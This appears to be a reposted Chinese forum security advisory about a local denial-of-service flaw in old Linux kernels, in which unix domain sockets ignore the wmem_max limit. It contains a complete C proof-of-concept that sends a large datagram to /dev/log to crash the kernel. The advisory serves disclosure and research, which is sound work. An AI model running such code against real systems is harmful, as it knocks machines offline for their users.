Linux 本地拒绝服务攻击导致内核崩溃
受影响的系统: Linux kernel 2.2.12 2.2.14 2.3.99-pre2
不受影响系统: linux kernel 2.2.14 + Solar Designer's kernel patch 描述: ---------------------------------------------------------------------- ----------
Linux的unix域名套接字没有考虑/proc/sys/net/core/wmem_max的参数的限制, 本地普通用户可以通过向某个套接字传送大量数据,导致Linux内核分配内存空间 时出错,系统停止响应。必须重新启动系统。
测试程序: ---------------------------------------------------------------------- ----------
警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <sys/types.h> #include <sys/socket.h> #include <string.h>
char buf[128 * 1024];
int main ( int argc, char **argv ) { struct sockaddr SyslogAddr; int LogFile; int bufsize = sizeof(buf)-5; int i;
for ( i = 0; i < bufsize; i++ ) buf[i] = ' '+(i%95); buf[i] = '\0';
SyslogAddr.sa_family = AF_UNIX; strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_dat a) ); LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 ); sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) ); return 0; }
---------------------------------------------------------------------- ---------- 建议: 暂无
-- 欢迎大家常来回合策略 宗教信仰坐坐。 欢迎光临魔法师学院http://wwwmagic.126.com * * * * * 无挂碍故无有恐怖 --DOS--
※ 来源:.网易虚拟社区北京站 http://bj.netease.com.[FROM: 202.106.175.248]
|
|